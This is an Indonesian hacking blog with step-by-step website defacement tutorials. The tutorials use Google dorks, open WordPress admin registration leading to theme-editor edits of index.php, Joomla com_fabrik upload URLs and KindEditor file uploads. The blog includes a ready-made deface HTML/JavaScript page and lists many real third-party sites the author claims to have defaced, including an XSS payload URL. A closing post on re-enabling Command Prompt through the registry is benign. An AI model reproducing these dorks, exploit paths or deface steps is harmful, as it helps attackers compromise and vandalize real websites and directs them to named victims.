_MisterNotFound_ Official Blog

Deface Teknik WP Add Admin Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on">
Assalamualaikum sobat NOT_FOUND yang berbahagia :) 
 
(DI REVISI) 
Pagi yang mendung ini, saya mau ngasih tutor nih. 
Merubah halaman depan website dengan teknik WP-Login + Login as Admin. 
Perlu di perhatikan masbro, teknik ini hanya bisa dilakukan jika website tersebut menggunakan CMS Wordpress.  
Sekedar info, bahwa teknik ini memanfaatkan plugin kerentanan Add admin/Register New Admin  pada direktori wp-login.php?action=register 
Kelebihan tutor saya kali ini yaitu bisa menebas index (halaman awal website) tanpa harus pake Shell :) 
Sebenarnya ini teknik lama, tapi karena jarang di publish dan jarang banget ditemukan di google, akhirnya saya publish artikel ini dengan senang hati :v 
Ok, langsung caw sobat ;) 
 
Shortcut :  <a href="http://adf.ly/1Uqdxb" target="_blank">Click Here for Tutorial on Youtube</a> 
 
1. DORK UMUM: 
inurl:/wp-login 
DORK KEMBANGAN SAYA : 
Inurl:/wp-login.php?action=register 
Inurl:/register-2/ 
 
2. Exploit : 
wp-admin/theme-editor.php 
 
3. POC : 
- Pergi ke mbah google, lalu masukkan dork tersebut ke dalam kotak penelusuran google. Lalu Enter 
- Pilih website yang sampeyan taksir :p 
- Lalu akan muncul laman yang memberitahukan bahwa anda harus login terlebih dahulu. Nah bagaimana kita bisa login? Cukup simple, sampeyan klik REGISTER 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh83QLw-ef1vZ81dwxrm_ZAgoum4o3hG72ZVYeNfgWVvsTqyABkUUYE08U7R639CWB6hntk3uvaoGha5YitawU3EekmBEfypWqYzkVwI5ohVvgZqC6mmaCvpQjs4fKFVoKm-w_n7AkaFBI/s1600/TUTOR1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh83QLw-ef1vZ81dwxrm_ZAgoum4o3hG72ZVYeNfgWVvsTqyABkUUYE08U7R639CWB6hntk3uvaoGha5YitawU3EekmBEfypWqYzkVwI5ohVvgZqC6mmaCvpQjs4fKFVoKm-w_n7AkaFBI/s1600/TUTOR1.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
- Kemudian masukan Username serta Email anda. Dan klik Register.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0o4wxHargGWV8MJLyY27W_E61yB8DQN7yAUWLtLtUYmUJJ9vaMeAFiTWnQTd0BvtZXWa9y4BQAVS2faQo8i4RPVm78cMCEgc51HJu5IDyIFbTkpl4p5Ds-C5W05VdNR6NDA51wEYuskc/s1600/TUTOR2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0o4wxHargGWV8MJLyY27W_E61yB8DQN7yAUWLtLtUYmUJJ9vaMeAFiTWnQTd0BvtZXWa9y4BQAVS2faQo8i4RPVm78cMCEgc51HJu5IDyIFbTkpl4p5Ds-C5W05VdNR6NDA51wEYuskc/s1600/TUTOR2.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
- Buka email anda, lihat inbox. Kemudian salin data tersebut dan klik link yang ada tertera di inbox itu.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ0Kx245hlD_xuQN02pm8Ejvzy9yyuE_BD_EyX03z5_9spFiCWWD-RbRHfZdWIR3lo2nQrYK8AWRfzA5Qx44D1YkvIZ872lkXzi6b4ZMUsWiOdVVi8uaa8-D4IHxG-uZykyXdsb1dnTyw/s1600/TUTOR4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ0Kx245hlD_xuQN02pm8Ejvzy9yyuE_BD_EyX03z5_9spFiCWWD-RbRHfZdWIR3lo2nQrYK8AWRfzA5Qx44D1YkvIZ872lkXzi6b4ZMUsWiOdVVi8uaa8-D4IHxG-uZykyXdsb1dnTyw/s1600/TUTOR4.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
- Paste-kan data yang di salin tadi ke kolom admin. Langsung deh klik Login :)</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR5BXKD_Owy6fGMjnM1kYWJpST0_SApDFtdDA-oF5v7hK5tWlUKoEKqDrKnqEz00YNurCBp1TcCnac6EAwSJz7YcQNfQOcRM6Nwy1Hlejcljn0koiGoVBLeRNrMH0S0LwdxELDYGfGGWc/s1600/TUTOR3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR5BXKD_Owy6fGMjnM1kYWJpST0_SApDFtdDA-oF5v7hK5tWlUKoEKqDrKnqEz00YNurCBp1TcCnac6EAwSJz7YcQNfQOcRM6Nwy1Hlejcljn0koiGoVBLeRNrMH0S0LwdxELDYGfGGWc/s1600/TUTOR3.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
- Kalo vuln, pasti akan masuk ke dashboard admin nya sobat ;)</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi90zEANKYJCR7hgQxk1AP9GLhkpue_Gl0CRq67cKjiNga1Br1LB3BE4PRd5dwpPIYYx1mqMCcz4YVSvwR4xtuaUzVR4FnDqj1kisheb-3mB5GIXAZOWvYHuBaET7j3JYfkHp17y6tzipg/s1600/TUTOR5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi90zEANKYJCR7hgQxk1AP9GLhkpue_Gl0CRq67cKjiNga1Br1LB3BE4PRd5dwpPIYYx1mqMCcz4YVSvwR4xtuaUzVR4FnDqj1kisheb-3mB5GIXAZOWvYHuBaET7j3JYfkHp17y6tzipg/s1600/TUTOR5.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
- Setelah bisa bahagia masuk ke admin nya, sekarang sampeyan masukin Exploit nya. Dan cari data index.php</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw0req-znbjuSabA7h98ilkjRdOIS2ZXBsCub0N3WpN0hNrAF0Lbch06x4LztaPG_WeIpJRdi7HDfKIQm8Emtl9zYpzLeNo2bp7CmYNA591vqHDOHNYV5U_Q-0Ds7S0H6ACG2H949HDXs/s1600/TUTOR6.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw0req-znbjuSabA7h98ilkjRdOIS2ZXBsCub0N3WpN0hNrAF0Lbch06x4LztaPG_WeIpJRdi7HDfKIQm8Emtl9zYpzLeNo2bp7CmYNA591vqHDOHNYV5U_Q-0Ds7S0H6ACG2H949HDXs/s1600/TUTOR6.JPG" width="400" /></a></div>
 
 
- Kalo udah ketemu index.php nya , sekarang sampeyan tinggal copy-paste script deface nya deh :) 
- Klik Update File jika semuanya wis rampung :) 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA8ptXmSzOhrhzZ9svPnCTSjSfEzvQp9IEE1Xpl6nTP_KuVSH1LPefVa3I3RUhy9vprmg8FbdIhEazFn5DULp4S36BEd6c_W-APtsYnvT_Ksi1EUZiBAeyEjnXxqAB6Ia1dlJeGzhJfmE/s1600/TUTOR7.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA8ptXmSzOhrhzZ9svPnCTSjSfEzvQp9IEE1Xpl6nTP_KuVSH1LPefVa3I3RUhy9vprmg8FbdIhEazFn5DULp4S36BEd6c_W-APtsYnvT_Ksi1EUZiBAeyEjnXxqAB6Ia1dlJeGzhJfmE/s1600/TUTOR7.JPG" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
- Jika berhasil, akan muncul notice seperti ini</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGACngMl1e2D2PQM4Kt5rnY3pEIxJOsNC63R1p6sCEZokFMH7fEn5536rFcblKpM7JVBRcNrYKHnXtfKvj4oRmMlUwCvHRO0WhOaB4saTIPlzz8ZFR37MIGkEcXqtx7kEf4wE4lgt2U-A/s1600/TUTOR8.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGACngMl1e2D2PQM4Kt5rnY3pEIxJOsNC63R1p6sCEZokFMH7fEn5536rFcblKpM7JVBRcNrYKHnXtfKvj4oRmMlUwCvHRO0WhOaB4saTIPlzz8ZFR37MIGkEcXqtx7kEf4wE4lgt2U-A/s1600/TUTOR8.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
- Sekarang cek website nya :) Caranya tinggal delete exploit nya ;)</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBVZPv7BnVCQgaR5C32kpfZEEQqAOn13bWf9PgMcUNQ3f1iYCX6AnnNSZiPBKooTVjZbOX1dGkQ2RLT8FA6sItO8-pYKFSakXhmFWfm7Xl-5qT9YajmVxLHqeo7hthpSdY4cp7mTpHZOc/s1600/TUTOR9.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBVZPv7BnVCQgaR5C32kpfZEEQqAOn13bWf9PgMcUNQ3f1iYCX6AnnNSZiPBKooTVjZbOX1dGkQ2RLT8FA6sItO8-pYKFSakXhmFWfm7Xl-5qT9YajmVxLHqeo7hthpSdY4cp7mTpHZOc/s1600/TUTOR9.JPG" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
Dan SELAMAT , sampeyan telah berhasil menebas index website nya :) Dan tampilan halaman awalnya telah berubah ;)</div>
 
 
 
</div>

Deface Teknik WP Add Admin Vulnerability

Assalamualaikum sobat NOT_FOUND yang berbahagia :) (DI REVISI) Pagi yang mendung ini, saya mau ngasih tutor nih. Merubah halaman depan ...

Deface Teknik Com_Fabric

<div dir="ltr" style="text-align: left;" trbidi="on">
Assalamualaikum sobat Not_Found :) 
Pada kesempatan yang boring ini saya tulis beberapa tutor yang sebenarnya udah agak usang. 
Yaitu deface website teknik Com_fabric. 
Teknik ini memanfaatkan celah upload file pada direktori com_fabric pada CMS Joomla . Teknik ini juga sering menjadi santapan lezat bagi para newbie yang baru belajar deface :) 
Langsung aja yok ke TKP :) 
 
1. DORK : 
- Inurl:viewTable?cid= site:com  
 
- Inurl:index.php?option=com_fabrik 
 
2. EXPLOIT UMUM: 
- index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1 
<div>
 </div>
<div>
DAN DIBAWAH INI MERUPAKAN EXPLOIT TAMBAHAN YANG SAYA KEMBANGIN :</div>
<div>
 </div>
<div>
- index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1echercher</div>
<div>
- index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=0</div>
<div>
- index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=23</div>
<div>
 </div>
<div>
3. POC :</div>
<div>
- Masukan dork diatas kedalam kotak penelusuran google. Atau bisa langsung caw <a href="http://adf.ly/1UqeBV" target="_blank">KESINI</a></div>
<div>
- Cari website yang menurut agan cuco untuk diperawani ;)</div>
<div>
- Setelah ketemu, masukan exploit yang sudah saya ukir diatas :)</div>
<div>
NOTE : MASUKAN EXPLOIT NYA HARUS LIAT (PATH) NYA DULU.</div>
<div>
CONTOH : www.contoh/sito/blabla . Berarti sampeyan musti taro exploit nya dibelakang direktori /sito . Paham ? ;)</div>
<div>
- Langsung aja gan di upload Script deface sampeyan 
<div class="separator" style="clear: both; color: blue; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWrDpgszQmtqFYjrLufVwpl96s98ZVknAhjAu3m3coReKPGv6yjP_5FrWZOlJ7GuHmBPLQqQk0KCSetm2EnGym_WR1jmIRvZ2VBG6FAJ270U7a6EPDRLzbr9IKuxrfGOieafZljpX2avc/s1600/TUTOR1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWrDpgszQmtqFYjrLufVwpl96s98ZVknAhjAu3m3coReKPGv6yjP_5FrWZOlJ7GuHmBPLQqQk0KCSetm2EnGym_WR1jmIRvZ2VBG6FAJ270U7a6EPDRLzbr9IKuxrfGOieafZljpX2avc/s1600/TUTOR1.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; color: blue; text-align: center;">
 </div>
<div class="separator" style="clear: both; color: blue; text-align: left;">
- Jika berhasil akan tampil halaman seperti ini. Notice seperti itu juga menunjukan bahwa website itu vuln :)</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqzPTb1Jfzl8-sRulVGeIExEct-J0I5gBIqGE33hmalyn4sptpAVYqNrT2uQSD2B89fn5jKR8YuEmFiJ1Am4n7xiknZ2HZgmnA_6zltiDvTPfuO2T5yuhXOzYi29YhdzcyjZV0ocVVYQE/s1600/TUTOR2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqzPTb1Jfzl8-sRulVGeIExEct-J0I5gBIqGE33hmalyn4sptpAVYqNrT2uQSD2B89fn5jKR8YuEmFiJ1Am4n7xiknZ2HZgmnA_6zltiDvTPfuO2T5yuhXOzYi29YhdzcyjZV0ocVVYQE/s1600/TUTOR2.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; color: blue; text-align: left;">
 </div>
<div class="separator" style="clear: both; color: blue; text-align: left;">
- Nah untuk cek hasil deface unyu nya bisa caw ke</div>
<div class="separator" style="clear: both; text-align: left;">
http://www.TARGET.com/media/SCRIPT ANDA.html ;)</div>
<div class="separator" style="clear: both; text-align: left;">
NOTE : LIAT PATH NYA DULU SOBAT ;)</div>
<div class="separator" style="clear: both; text-align: left;">
- FINNISH :)</div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
HASIL SAYA</div>
<div class="separator" style="clear: both; text-align: left;">
<a href="http://www.filuse.it/sito/media/MisterNotFound.html">http://www.filuse.it/sito/media/MisterNotFound.html</a></div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
Nah bisa juga sih upload shell, tapi sekarang untuk nge cek shell yang di upload udah gak bisa.</div>
<div class="separator" style="clear: both; text-align: left;">
jadi shell nya musti di tampar tampar dulu agar sukses nebas index nya :)</div>
<div class="separator" style="clear: both; text-align: left;">
Sekian dari _MisterNotFound_</div>
<div class="separator" style="clear: both; text-align: left;">
Maaf jika ada salah kata. Wassalamualaikum Wr. Wb. :)</div>
</div>
</div>

Deface Teknik Com_Fabric

Assalamualaikum sobat Not_Found :) Pada kesempatan yang boring ini saya tulis beberapa tutor yang sebenarnya udah agak usang. Yaitu defac...

Daftar Situs Yang Saya Deface

<div dir="ltr" style="text-align: left;" trbidi="on">
Assalamualaikum, sobat haxor. 
Meet again with me,  _MisterNotFound_ 
Sorri nih, dah lama gak publish :) 
Berhubung mirror selalu keduluan, saya mau show-off aja deh. Anggap aja ini publish spam :v 
Tapi kalo sampeyan memperhatikan baik-baik , sampeyan bisa belajar dari apa yang saya 'show-off'-in ini :) 
Sebelumnya, maaf saya masih newbie, mohon para mastah untuk bisa mengerti saya :* :v 
Ini beberapa situs yang telah saya deface beserta POC (Teknik Deface) nya : 
 
1. <a href="http://www.pujaashreegreenpower.com/">http://www.pujaashreegreenpower.com/</a> 
POC : Bypass SQL Login 
 
2. <a href="http://gasthof-lammer.com/components/com_sexycontactform/fileupload/files/MisterNotFound.html">http://gasthof-lammer.com/components/com_sexycontactform/fileupload/files/MisterNotFound.html</a> 
POC : Com_Sexy 
 
3. <a href="http://www.max-immo.cz/components/com_sexycontactform/fileupload/files/MisterNotFound.html">http://www.max-immo.cz/components/com_sexycontactform/fileupload/files/MisterNotFound.html</a> 
POC : Com_Sexy 
 
4. <a href="http://caspianpetro.com/components/com_sexycontactform/fileupload/files/MisterNotFound.html">http://caspianpetro.com/components/com_sexycontactform/fileupload/files/MisterNotFound.html</a> 
POC : Com_Sexy 
 
5. <a href="http://www.peercore.com.au/components/com_sexycontactform/fileupload/files/MisterNotFound.html">http://www.peercore.com.au/components/com_sexycontactform/fileupload/files/MisterNotFound.html</a> 
POC : Com_Sexy 
 
6. <a href="http://360dba.com.au/components/com_sexycontactform/fileupload/files/MisterNotFound.html">http://360dba.com.au/components/com_sexycontactform/fileupload/files/MisterNotFound.html</a> 
POC : Com_Sexy 
 
7. <a href="http://www.paypalshop.org/showcatrows.php?CategoryID=5%3E%3Cmarquee%3E%3Ch1%3EHacked+by+_MisterNotFound_%3C%2Fh1%3E%3C%2Fmarquee%3E">http://www.paypalshop.org/showcatrows.php?CategoryID=5%3E%3Cmarquee%3E%3Ch1%3EHacked+by+_MisterNotFound_%3C%2Fh1%3E%3C%2Fmarquee%3E</a> 
POC : Xss Vulnerability 
 
8. <a href="http://www.qis.org/">http://www.qis.org/</a> 
POC : Com_User 
 
9. <a href="http://www.bbmoccia.it/media/MisterNotFound.html">http://www.bbmoccia.it/media/MisterNotFound.html</a> 
POC : Com_Fabric 
 
10. <a href="http://pgddtdonghoa.phuyen.edu.vn/fileupload/news/MisterNotFound.html">http://pgddtdonghoa.phuyen.edu.vn/fileupload/news/MisterNotFound.html</a> 
POC :  Spaw 
 
11. <a href="http://www.filuse.it/sito/media/misterNF.html">http://www.filuse.it/sito/media/misterNF.html</a> 
POC : Com_Fabric 
 
12. <a href="http://www.anticoborgonarcao.it/media/MisterNotFound.html">http://www.anticoborgonarcao.it/media/MisterNotFound.html</a> 
POC : Com_Fabric 
 
13. <a href="http://www.macaeservicos.com.br/Admin/Pages/banner/kcfinder/upload/files/MisterNotFound.html">http://www.macaeservicos.com.br/Admin/Pages/banner/kcfinder/upload/files/MisterNotFound.html</a> 
POC : KCFinder 
 
14. <a href="http://second.pa919.com/300/kindeditor/attached/file/20150121/20150121120705_87945.html">http://second.pa919.com/300/kindeditor/attached/file/20150121/20150121120705_87945.html</a> 
POC : KindEditor 
 
15. <a href="http://www.17382.com/Public/JS/kindeditor-4.1.7/attached/file/20150121/20150121115701_82101.html">http://www.17382.com/Public/JS/kindeditor-4.1.7/attached/file/20150121/20150121115701_82101.html</a> 
POC : KindEditor 
 
16. <a href="http://www.lafitteguesthouse.com/uploads/files/MisterNotFound/DEFACE%20BY%20MISTERNOTFOUND.txt">http://www.lafitteguesthouse.com/uploads/files/MisterNotFound/DEFACE%20BY%20MISTERNOTFOUND.txt</a> 
POC : KCFinder 
 
17. <a href="http://www.maler0711.de/components/com_sexycontactform/fileupload/files/MisterNotFound.html">http://www.maler0711.de/components/com_sexycontactform/fileupload/files/MisterNotFound.html</a> 
POC : Com_Sexy 
 </div>

Daftar Situs Yang Saya Deface

Assalamualaikum, sobat haxor. Meet again with me, _MisterNotFound_ Sorri nih, dah lama gak publish :) Berhubung mirror selalu keduluan,...

Deface situs teknik KindEditor (TEKNIK UNTUK PEMULA)

<div dir="ltr" style="text-align: left;" trbidi="on">
Apabila anda berminat mencoba defacing-defacing ala newbie anda tidak harus mengerti tentang itu semua, karena saya akan memberitahukan trik defacing bagi pemula/newbie dengan sangat mudah dan simple, mungkin bisa di bilang cara ini dapat di lakukan hanya dalam jangka waktu kurang dari "1 menit". 
Lho. Kok bisa? yup, kali ini kita hanya akan melakukannya dengan celah lubang keamanan pada plugin editor, seperti FCKeditor, CKfinder, KCFinder, upload vurnibility dan kindeditor. 
 
Shortcut : <a href="http://adf.ly/1Uqeqk" target="_blank">Click Here for Tutorial on Youtube</a>
 
1. Dork 
Ada di bawah dorknya :) 
 
2. Buat script deface 
Buka notepad seperti tadi, lalu copy pastekan script di bawah ini di dalamnya 
<div>
 <html> 
<head><title>Defacer by _MisterNotFound_</title> 
<style> 
body{background:radial-gradient(circle, #1a82f7, #2F2727);} 
a{color:lime;text-shadow:1px 1px 6px red;text-decoration:none;} 
.ad{font-size:200px;color:#fff;font-familyL:Chiller,tahoma,arial;text-shadow:1px 1px 8px red;} 
</style> 
</head> 
<body oncontextmenu='return false;' onkeydown='return false;' onkeyup='return false;' onmousedown='return false;' onmouseup='return false;' onmousemove='return false;' onmouseevent='return false;'> 
<script> 
var asd=" Hacked" 
var bca=" By " 
var bcc="_MisterNotFound_"; 
var tdc="<center class='ad'>"+asd+bca+bcc+"</center>"; 
window.alert("hacked by "+bcc); 
document.write(tdc); 
</script> 
<center>SORRY  Admin!! I Dont HACK YOUR SITE, BUT IM FULLY TESTED MY SKILL. From: GrooSec Squad 
*MY Apologize  
 &copy;copyright 2015 <a onmouseover='window.location=this.href' href="http://blank-note.blogspot.com"><blink>Don't Click</blink></a> 
  
</body> 
</html> 
 
Format simpan:   
<div>
Name > index.html,  
<div>
File as type > all files --> simpan 
 3. START TO DEFACING 
DORK inurl:/examples/uploadbutton.html 
TUTOR: 
> PILIH SALAH SATU WEBSITE. 
> LALU JIKA SUDAH,  UPLOAD FILE YG UDAH DIBUAT > Klik upload > Cari file index.html anda yang telah terbuat > Open > Upload 
> Klik form yang tertanda > Tandai semua (ctrl + A) > Copy/salin 
> Jika berhasil, copy pastekan url website yg anda diface, ditambah url upload 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNC59wA9UyNWI8H9bqaB9Wn5vpVWWHp4fGG08h6-isY1ZWKOg0B9EbaSrRSgw2kMTPEDzOP4800UWVHyHdo7-6Lhvodl8GDZ-vSd6nSPnNJ9l2cI1V3VOKMUipcwwLnMatffbb1zYvLjE/s1600/vlcsnap-2016-01-09-10h59m11s142.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNC59wA9UyNWI8H9bqaB9Wn5vpVWWHp4fGG08h6-isY1ZWKOg0B9EbaSrRSgw2kMTPEDzOP4800UWVHyHdo7-6Lhvodl8GDZ-vSd6nSPnNJ9l2cI1V3VOKMUipcwwLnMatffbb1zYvLjE/s400/vlcsnap-2016-01-09-10h59m11s142.png" width="400" /></a></div>
 
 
INI BEBERAPA WEB YG UDAH SAYA DEFACE DENGAN TEKNIK KINDEDITOR 
 
<a href="http://www.gtscn.com/Public/editor/attached/file/20150120/20150120210932_87510.html" target="_blank">http://www.gtscn.com/Public/editor/attached/file/20150120/20150120210932_87510.html</a> 
 
<a href="http://second.pa919.com/300/kindeditor/attached/file/20150121/20150121121029_18876.html" target="_blank">http://second.pa919.com/300/kindeditor/attached/file/20150121/20150121121029_18876.html</a> 
 
<a href="http://second.pa919.com/300/kindeditor/attached/file/20150121/20150121120705_87945.html" target="_blank">http://second.pa919.com/300/kindeditor/attached/file/20150121/20150121120705_87945.html</a> 
 
<a href="http://www.gophp.net/furui/webcss/admin/kindeditor/attached/file/20150121/20150121115712_44298.html" target="_blank">http://www.gophp.net/furui/webcss/admin/kindeditor/attached/file/20150121/20150121115712_44298.html</a> 
 
<a href="http://www.17382.com/Public/JS/kindeditor-4.1.7/attached/file/20150121/20150121115701_82101.html" target="_blank">http://www.17382.com/Public/JS/kindeditor-4.1.7/attached/file/20150121/20150121115701_82101.html</a> 
 
<a href="http://www.lafitteguesthouse.com/uploads/files/MisterNotFound/DEFACE%20BY%20MISTERNOTFOUND.txt" target="_blank">http://www.lafitteguesthouse.com/uploads/files/MisterNotFound/DEFACE%20BY%20MISTERNOTFOUND.txt</a> 
 
 Sumber : 
http://blank-note.blogspot.com/2013/04/teknik-dan-trik-hack-deface-kurang-dari.html 
 
 </div>
</div>
</div>
</div>

Deface situs teknik KindEditor (TEKNIK UNTUK PEMULA)

Apabila anda berminat mencoba defacing-defacing ala newbie anda tidak harus mengerti tentang itu semua, karena saya akan memberitahukan tri...

Trik Memulihkan Command Promt Yang Disable

<div dir="ltr" style="text-align: left;" trbidi="on">
 
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSh0EotnvMf41qVezMqB6nRl5BxOcR7Dv1k9tsnYwSO_iOsmPZ8AWRowIiUgdoL-Jo2pcJdCM2L9gROuYK5dLd-QSbU-OcVSBIKEGKVgH33gHVe5k2g90DfHN-am3Fr-aA-47zLt7m8vs/s1600/cmd.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSh0EotnvMf41qVezMqB6nRl5BxOcR7Dv1k9tsnYwSO_iOsmPZ8AWRowIiUgdoL-Jo2pcJdCM2L9gROuYK5dLd-QSbU-OcVSBIKEGKVgH33gHVe5k2g90DfHN-am3Fr-aA-47zLt7m8vs/s1600/cmd.JPG" width="400" /></a></div>
 
 
<div style="text-align: justify;">
Hello, kali ini Bang Not Found mau ngasih tips untuk mengaktifkan Command Prompt yang Disable. Tapi sebulumnya, Bang Not Found jelasin dulu nih, apasih Command Promt itu? </div>
 
 
<div style="text-align: justify;">
Command Prompt merupakan salah satu komponen penting dalam administrasi sistem operasi Windows. Beberapa perintah rahasia juga bisa diakses dari sini dan apalagi memiliki peranan besar di Windows, sehingga sangat wajar menjadi sasaran virus. Ini yang menyebabkan para administrator mengunci command prompt supaya tidak disalahgunakan.</div>
<div style="text-align: justify;">
Sudah paham kan? Kalo masih belum paham , monggo Googling di yahoo , wkwkwk :v</div>
<div style="text-align: justify;">
Oke , tanpa basa basi lagi, Bang Not Found Kasih nih triknya :</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
1. Memakai Run command</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKgdBI7Z1cGND-gc4pZzcLaXnLfECWDKhzwfIKcIkzeHLlwpEgSDV_g5mPLcbFRcdpFXO_ZGxxbWMFr3aRiRI0GD_jAVodI1KLVSjcQGliEaWaI_PcKR0HWsLxnUDXMhYxBnSiSWHB4bU/s1600/command.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKgdBI7Z1cGND-gc4pZzcLaXnLfECWDKhzwfIKcIkzeHLlwpEgSDV_g5mPLcbFRcdpFXO_ZGxxbWMFr3aRiRI0GD_jAVodI1KLVSjcQGliEaWaI_PcKR0HWsLxnUDXMhYxBnSiSWHB4bU/s1600/command.JPG" width="400" /></a></div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
> Pertama, Sampeyan buka dulu Jendela Run Windows nya, cara bukanya gampang kok, tekan tombol Windows + R</div>
<div style="text-align: justify;">
> Setelah itu sampeyan copas nih perintah dibawah ini :</div>
<div style="text-align: justify;">
REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f</div>
<div style="text-align: start;">
> Lalu Tekan Ok/Enter</div>
<div style="text-align: start;">
 </div>
<h2 style="border: 0px none; font-family: 'Bree Serif'; font-size: 24px; font-weight: 400; line-height: 1.4; margin: 0px 0px 12px; padding: 0px; vertical-align: baseline;">
 </h2>
<h2 style="border: 0px; line-height: 1.4; margin: 0px 0px 12px; padding: 0px; vertical-align: baseline;">
2. Menggunakan Registry Editor untuk mengaktifkan Command Prompt</h2>
<div style="text-align: start;">
> Langkah pertama sampeyan buka dulu jendela run , caranya seperti tadi diatas.</div>
<div style="text-align: start;">
> Lalu ketikan: regedit kemudian ENTER</div>
<div style="text-align: start;">
   </div>
<div class="separator" style="clear: both; text-align: center;">
